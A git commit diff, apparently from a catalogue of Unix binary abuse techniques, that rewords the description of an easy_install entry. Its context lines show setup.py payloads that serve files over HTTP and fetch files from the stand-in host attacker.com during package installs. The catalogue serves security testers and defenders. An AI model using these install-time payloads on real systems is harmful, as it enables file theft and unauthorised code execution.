Rephrase easy_install descriptions

This commit is contained in:
Emilio Pinna 2018-09-29 10:47:19 +01:00
parent 9dc6a93e5b
commit f8dab26569

View File

@ -37,7 +37,7 @@ functions:
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
easy_install $TF easy_install $TF
download: download:
- description: Fetch a remote file via HTTP GET request. It needs an absolute local file path. - description: Fetch a remote file via HTTP GET request. The file path must be absolute.
code: | code: |
export URL=http://attacker.com/file_to_get export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save export LFILE=/tmp/file_to_save
@ -49,7 +49,7 @@ functions:
r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
pip install $TF pip install $TF
file-write: file-write:
- description: It needs an absolute local file path. - description: The file path must be absolute.
code: | code: |
TF=$(mktemp -d) TF=$(mktemp -d)
echo "import os; echo "import os;